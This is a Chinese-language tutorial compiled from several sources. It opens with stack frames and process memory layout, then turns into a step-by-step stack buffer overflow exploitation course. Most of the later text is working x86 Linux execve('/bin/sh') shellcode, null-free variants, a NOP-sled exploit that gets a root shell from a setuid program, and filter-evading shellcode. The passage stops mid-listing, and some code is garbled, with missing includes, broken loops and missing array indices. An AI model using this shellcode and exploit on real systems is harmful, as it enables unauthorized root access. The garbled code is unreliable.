怎样破坏程序的堆栈？
为什么使用堆栈?
现代计算机被设计成能够理解人们头脑中的高级语言。 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function)。 从这一点来看， 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程， 但是与跳转不同的是， 当工作完成时， 函数把控制权返回给调用之后的语句或指令。这种高级抽象实现起来要靠堆栈的帮助。 堆栈也用于给函数中使用的局部变量动态分配空间， 同样给函数传递参数和函数返 回值也要用到堆栈。
堆栈区域
堆栈是一块保存数据的连续内存。 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部。堆栈的底部在一个固定的地址。 堆栈的大小在运行时由内核动态地调整。 CPU实现指令 PUSH和POP， 向堆栈中添加元素和从中移去元素。堆栈由逻辑堆栈帧组成。 当调用函数时逻辑堆栈帧被压入栈中， 当函数返回时逻辑 堆栈帧被从栈中弹出。 堆栈帧包括函数的参数， 函数地局部变量，以及恢复前一个堆栈 帧所需要的数据， 其中包括在函数调用时指令指针(IP)的值。 堆栈既可以向下增长(向内存低地址)也可以向上增长，这依赖于具体的实现。 在我 们的例子中， 堆栈是向下增长的。 这是很多计算机的实现方式， 包括Intel， Motorola，SPARC和MIPS处理器。 堆栈指针(SP)也是依赖于具体实现的。 它可以指向堆栈的最后地址， 或者指向堆栈之后的下一个空闲可用地址。在我们的讨论当中， SP指向堆栈的最后地址。 除了堆栈指针(SP指向堆栈顶部的的低地址)之外， 为了使用方便还有指向帧内固定地址的指针叫做帧指针(FP)。 有些文章把它叫做局部基指针(LB-local base pointer)。 从理论上来说，局部变量可以用SP加偏移量来引用。 然而， 当有字被压栈和出栈后， 这 些偏移量就变了。 尽管在某些情况下编译器能够跟踪栈中的字操作，由此可以修正偏移 量， 但是在某些情况下不能。 而且在所有情况下， 要引入可观的管理开销。 而且在有些 机器上， 比如Intel处理器，由SP加偏移量访问一个变量需要多条指令才能实现。 因此， 许多编译器使用第二个寄存器， FP， 对于局部变量和函数参数都可以引用，因为它们到FP的距离不会受到PUSH和POP操作的影响。 在Intel CPU中， BP(EBP)用于这 个目的。 在MotorolaCPU中， 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP。 考虑到我们堆栈的增长方向， 从FP的位置开始计算，函数参数的偏移量是正值， 而局部 变量的偏移量是负值。 当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以 恢复)。然后它把SP复制到FP， 创建新的FP， 把SP向前移动为局部变量保留空间。 这称为 例程的序幕(prolog)工作。 当例程退出时，堆栈必须被清除干净， 这称为例程的收尾 (epilog)工作。 Intel的ENTER和LEAVE指令，Motorola的LINK和UNLINK指令， 都可以用于 有效地序幕和收尾工作。
堆栈溢出
堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，导致数据越界，结果覆盖了老的堆栈数据。 或者解释为 在长字符串中嵌入一段代码，并将过程的返回地址覆盖为这段代码的地址，这样当过程返回时，程序就转而开始执行这段自编的代码了.
linux中一个进程的内存布局如下图所示：
-----------------
高地址 | | ---> 命令行参数和环境变量 (只读)
-----------------
| 栈 |
|- - - - - - - -|
| | | |
| \ / |
| |
| |
| / \ |
| | | |
|- - - - - - - -|
| 堆 |
|---------------|
| 未初始化的变量|
| (bss) | ---> 由 exec 初始化为零
|---------------|
| 初始化后的变量| \
|---------------| |
| text（数据区）| | 由 exec 从程序中读取
| | /
|---------------|
低地址 | 代码区 |
|---------------|
其中堆向上增长，栈向下增长。
一个由C/C++编译的程序占用的内存布局为（低地址->高地址）：
1、程序代码区 存放函数体的二进制代码。
2、文字常量区 常量字符串就是放在这里的。 程序结束后由系统释放
3、全局区（静态区）（static）
全局变量和静态变量的存储是放在一块的。
初始化的全局变量和静态变量
未初始化的全局变量和未初始化的静态变量(BSS段，这一名称来源于早期汇编程序的一个操作符，意思是“block started by symbol（由符号开始的块）”，未初始化的全局变量和静态变量存放在这里。)
程序结束后有系统释放。
4、堆区（heap） 一般由程序员分配释放， 若程序员不释放，程序结束时可能由OS回收 。
5、栈区（stack） 由编译器自动分配释放 ，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。
6、命令行参数和环境变量
进栈出栈过程：
在函数调用时，第一个进栈的是主函数中后的下一条指令（函数调用语句的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的C编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。
当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。
数组越界写入就是破坏堆栈的原因之一：
1、函数入参在栈底（内存高位）附近，函数的返回地址也在附近
2、数组（函数中的自动变量）是从内存低位向高位存放的，如果越界写入，就会向上破坏高位内存中保存的数据（可能是前面的局部变量），当越界写入内容足够多时，就会破坏栈底保存的函数的返回地址，直接导致函数返回时发生crash。
// 下面的一段是windows上的，我未做分析
进程空间
Win32的可执行文件在加载后，系统将为它建立一个它自己的虚拟内存空间，即进程空间，其容量达4G（64位系统中将更大，但我想64位的程序应该不叫做Win32程序了吧？）。这4G的空间划分为了几个区域，对于win98和win2000是不尽相同的。
Window2000 Windows98
NULL指针分配分区 0x00000000~0x0000ffff 0x00000000~0x00000fff
MS-DOS/Win16兼容分区 无 0x00001000~0x003fffff
用户分区 0x00010000~0x7ffeffff 0x00400000~0x7fffffff
禁止访问分区（64K） 0x7fff0000~0x7fffffff 无
共享（MMF）分区 无 0x80000000~0xbfffffff
内核方式分区 0x80000000~0xffffffff 0xc0000000~0xffffffff
(上表资料来自：《Windows核心编程》)
NULL指针分区是NULL指针的地址范围。对这个区域的读写企图都将引发访问违规。
DOS/WIN16分区是98中专门用于16位的DOS和windows程序运行的空间，所有的16位程序将共享这个4M的空间。Win2000中不存在这个分区，16位程序也会拥有自己独立的虚拟地址空间。有的文章中称win2000中不能运行16位程序，是不确切的。
用户分区是进程的私有领域，Win2000中，程序的可执行代码和其它用户模块均加载在这里，内存映射文件也会加载在这里。Win98中的系统共享DLL和内存映射文件则加载在共享分区中。
禁止访问分区只有在win2000中有。这个分区是用户分区和内核分区之间的一个隔离带，目的是为了防止用户程序违规访问内核分区。
MMF分区只有win98中有，所有的内存映射文件和系统共享DLL将加载在这个地址。而2000中则将其加载到用户分区。
内 核方式分区对用户的程序来说是禁止访问的，操作系统的代码与此。内核对象是否也驻留在此？我认为应该是的，因为应用程序不能直接访问内核对象。但是关于这 点我没找到有关的叙述，不知哪位大侠有确切的依据？另外要说明的是，win98中对于内核分区本也应该提供保护的，但遗憾的是并没有做到，因而98中程序 可以访问内核分区的地址空间。
每一个进程在创建时都分配一个静态存储区域、一个堆和一个栈。
静态存储区域用于存储进程的全局变量和静态变量；这个对于理解MFC的theApp对象也挺有帮助的。
全局变量和静态变量“从静态存储区域分配。程序在编译的时候就已经分配好内存的分布，这块内存在程序的整个运行期间都存在。”（见http://www.fanqiang.com/a4/b2/20020719/060200272.html）
堆可以动态分配内存。
1）“程序在运行的时候用malloc或new从堆上动态申请任意多少的内存，程序员自己负责在何时用free或delete释放内存。”（见http://www.fanqiang.com/a4/b2/20020719/060200272.html）
2）“堆应该是保留的一段内存空间，在进程初始化的时候，系统会提交一部分物理存储。进程的堆的初始大小默认是1MB，这个可以在连接时用/HEAP开关 自己控制。物理存贮的提交和回收应该是由堆管理器来管理的。”“堆应该是自动增长的。”“我们说的“自动生长”指的是在预先保留的全部堆空间都不够用的时 候，重新来从自由区域保留。”(见http://www.pcvc.net/category/content.asp?sendid=118)
每一个函数都可以对栈操作，用于存储参数和局部变量。
1）“在执行函数时，函数的参数和函数内的局部变量的存储单元都可以在栈上创建，函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中，效率很高，但是分配的内存容量有限。”（见http://www.fanqiang.com/a4/b2/20020719/060200272.html）
2）“（在函数内）声明变量/数组的方式，是在栈中分配内存。”“当调用完此函数返回的时候，栈空间自动被收回，其中的内容也就全部无效了。”（见http://www.pcvc.net/category/content.asp?sendid=114）
例子：（引用朱茂盛提供的）
1）定义函数
char *testfunc()
{
char *pret="return character";
return pret;
}
然后调用
char *pp = testfunc();
otherfunc();
printf(pp);
这样有问题吗？
2）定义函数
char *testfunc()
{
char pret[]="return character";
return pret;
}
然后调用
char *pp = testfunc();
otherfunc();
printf(pp);
这样呢？
分析：1）中虽然变量pret分配在栈中，但"return character"是分配在进程的数据区的，在整个进程的生命期内有效；2）中"return character"是数组的内容，是分配在栈中的，一旦出了这个函数，就从栈中释放。所以1）中没问题而2）中有问题。
有人说：“DLL 可 以 有 自 己 的 数 据 段, 但 是 它 没 有 堆 栈 段, 使 用 的 是 调 用 程 序 的 堆 栈。”（见http://www.2000n.com/02.htm）
也有人说：“DLL有自己的堆栈”。（见http://www.csdn.net/Develop/article/15%5C15747.shtm）
而朱茂盛说：在DLL中的函数里面分配的空间，是不允许在调用DLL的程序里面释放的。这么说来，DLL确实是有自己的堆栈的。
线程具有自己的内存布局。“进程中每个线程都有自己的堆栈，这是一段线程创建时保留下的地址区域。”(见http://www.pcvc.net/category/content.asp?sendid=118)
1：首先复习一下基础知识。
从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变
量。
静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局
部变量
则分配在堆栈里面。
从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好
相反。
我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push＝ESP
－4，
出栈的操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要
大。
请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。
在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局
部变量，
接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的
内容将
被丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地
址,弹出
返回地址到EIP以继续执行程序。
在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c)。在参数入栈的时
候，是：
先压c，再压b,最后压a.在取参数的时候，由于栈的先入后出，先取栈顶的a，再取
b,最后
取c。
（PS:如果你看不懂上面这段概述，请你去看以看关于堆栈的书籍，一般的汇编语
言书籍
都会详细的讨论堆栈，必须弄懂它，你才能进行下面的学习）
2:好了，继续,让我们来看一看什么是堆栈溢出。
2.1：运行时的堆栈分配
堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，
导致
数据越界。结果覆盖了老的堆栈数据。
比如有下面一段程序：
程序一：
#include
int main ( )
{
char name[8];
printf("lease type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}
编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎
么操作
的呢？
在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。
我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句
：
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下来，，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数
的
局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name[]数组。现在
堆栈
的布局如下：
内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
堆栈顶部 堆栈底部
执行完gets(name)之后，堆栈如下：
内存底部 内存顶部
name EBP ret
<------ [ipxodi\0 ][ ][ ]
^&name
堆栈顶部 堆栈底部
最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。
2.2：堆栈溢出
好，看起来一切顺利。我们再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完
gets（name）
之后，堆栈如下：
内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
堆栈顶部 堆栈底部
由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写‘A
’。
由于堆栈的生长方向与内存的生长方向相反，这些‘A’覆盖了堆栈的老的元素。
如图
我们可以发现，EBP，ret都已经被‘A’覆盖了。在main返回的时候，就会把‘
AAAA’
的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处的指令，结果
出现
错误。这就是一次堆栈溢出。
3：如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数
（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用字符数组写越界
，
覆盖堆栈中的老元素的值，就可以修改返回地址。
在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。
事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。如果
我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令
。
在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢
出
的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。
下一讲将叙述如何书写一个shell code。
如何书写一个shell code
一：shellcode基本算法分析
在程序中，执行一个shell的程序是这样写的：
shellcode.c
------------------------------------------------------------------------
-----
#include
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序
的argv（argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为第三个
参数。
我们来看以看execve的汇编代码：
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb，eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL，用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
经过以上的分析，可以得到如下的精简指令算法：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。
可是，
如果我们的execve执行失败，（比如没有/bin/sh这个文件），CPU就会继续执行后
续的
指令，结果不知道跑到哪里去了。所以必须再执行一个exit（）系统调用，
结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码：
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单：
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用
那么总结一下，合成的汇编代码为：
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)
二：实现一个shellcode
好，我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
name数组
。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次
程序都是
动态加载，字符串和name数组的地址都不是固定的。
通过JMP和call的结合，黑客们巧妙的解决了这个问题。
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------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组，
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会
作
//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令，字符串/bin/sh的地址将作
为call的
返回地址压入堆栈。现在来到popl esi，把刚刚压入栈中的字符串地址取出来，就
获得了
字符串的真实地址。然后，在字符串的第8个字节赋0，作为串的结尾。后面8个字
节，构造
name数组（两个整数，八个字节）。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后，用gdb的
b/bx 〔地址〕
命令可以得到十六进制的表示。
下面，写出测试程序如下：（注意，这个test程序是测试shellcode的基本程序）
test.c
------------------------------------------------------------------------
------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有pushl ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。
}
------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode，当我们把程序（test.c）的返回地
址ret
设置成shellcode数组的开始地址时，程序在返回的时候就会去执行我们的
shellcode，从
而我们得到了一个shell。
运行结果，得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是，我们把shellcode作为一个全局变量开在了数据段而不是作
为一段
代码。是因为在操作系统中，程序代码段的内容是具有只读属性的。不能修改。而
我们的
代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分，所以不能放在代码
段。
这个shellcode可以了吗？很遗憾，还差了一点。大家回想一下，在堆栈溢出中，
关键在
于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，
以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。
因此，
对于gets（name）来说，上面的shellcode是不可行的。我们的shellcode是不能有
\0字符
出现的。
因此，有些指令需要修改一下：
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode为：
------------------------------------------------------------------------
----
char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
三：利用堆栈溢出获得shell
好了，现在我们已经制造了一次堆栈溢出，写好了一个shellcode。准备工作都已
经作完，
我们把二者结合起来，就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string = shellcode;
strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在执行完strcpy后，堆栈内容如下所示：
内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
堆栈顶部 堆栈底部
注：S表示shellcode。
A表示shellcode的地址。
这样，在执行完strcpy后，overflow。c将从ret取出A作为返回地址，从而执行了
我们的
shellcode。
利用堆栈溢出获得shell
现在让我们进入最刺激的一讲，利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序，利用前面说过的方法来得到shell。
回想一下前面所讲，我们通过一个shellcode数组来存放shellcode，利用程序中的
strcpy
函数，把shellcode放到了程序的堆栈之中；我们制造了数组越界，用shellcode的
开始地
址覆盖了程序（overflow.c）的返回地址，程序在返回的时候就会去执行我们的
shellcode，从而我们得到了一个shell。
当我们面对别人写的程序时，为了让他执行我们的shellcode，同样必须作这两件
事：
1:把我们的shellcode提供给他，让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。
为了做到这两条，我们必须知道他的strcpy（buffer,ourshellcode）中，buffer
的地址。
因为当我们把shellcode提供给strcpy之后，buffer的开始地址就是shellcode的开
始地址
，我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。
我们知道，对于操作系统来说，一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序，获得运行时的堆栈起始地址，这样，我们就知道了目标程
序堆栈
的开始地址。
下面这个函数，用eax返回当前程序的堆栈指针。（所有C函数的返回值都放在eax
寄存器
里面）:
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
------------------------------------------------------------------------
------
我们在知道了堆栈开始地址后，buffer相对于堆栈开始地址的偏移，是他程序员自
己
写出来的程序决定的，我们不知道，只能靠猜测了。不过，一般的程序堆栈大约是
几K
左右。所以，这个buffer与上面得到的堆栈地址，相差就在几K之间。
显然猜地址这是一件很难的事情，从0试到10K，会把人累死的。
前面我们用来覆盖堆栈的溢出字符串为：
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在，为了提高命中率，我们对他进行如下改进：
用来溢出的字符串变为：
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中：
N为NOP.NOP指令意思是什么都不作，跳过一个CPU指令周期。在intel机器上，
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样，A猜大了也可以落在N上，并且最终会执行到
S.
这个改进大大提高了猜测的命中率，有时几乎可以一次命中。：）））
好了，枯燥的算法分析完了，下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序：
exploit1.c
------------------------------------------------------------------------
----
#include
#include
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i *((long *)&(buff))=addr;
for(i=0;i buff=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode;
buff[bsize-1]='\0';
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1，buff是我们精心制作的溢出字符串，
作为./vulnerable1的参数提供。
以下是执行的结果：
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
------------------------------------------------------------------------
----
恭喜，恭喜，你获得了root shell。
下一讲，我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。
复杂的shellcode
前面几讲，我们已经有了基本的堆栈溢出知识，可以编写基本的shellcode了。这
一讲，
我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。
复杂shellcode的产生是由于有一定防范措施的的目标程序。（所谓道高一尺，魔
高一丈）
。以下分类讨论几种情况。注意，下面的分类是不全面的，也不可能穷尽所有的情
况，
只是提供一些例子来阐明修改shellcode的技巧。
1:输入的溢出字符串被预处理
比如，如果敌人在自己的程序里面加入如下代码，就可抑制前面提到的堆栈溢出的
攻击：
------------------------------------------------------------------------
----
。。。。。。
for(i=0;i argv[1]=toupper(argv[1]);
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
。。。。。。
strcpy(buffer,argv[1]);
------------------------------------------------------------------------
----
显然，由于toupper函数对输入进行了过滤处理，/bin/sh变成了\BIN\SH，UNIX系
统是
大小写敏感的，因此execve系统调用不会成功。自然得不到shell。
怎么办？我们可以修改shellcode，使他不包含ascII为0x60--0x7a的字符。我们把
/bin/sh的每一个字母都减去0x50，得到"\x2f\x12\x19\x1e\x2f\x23\x18",在
shellcode
里面再把它们改回来。
另外，指令"\x89\x76\x08" /* movl %esi,0x8(%esi) */
也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成：
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".
新的shellcode如下：
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
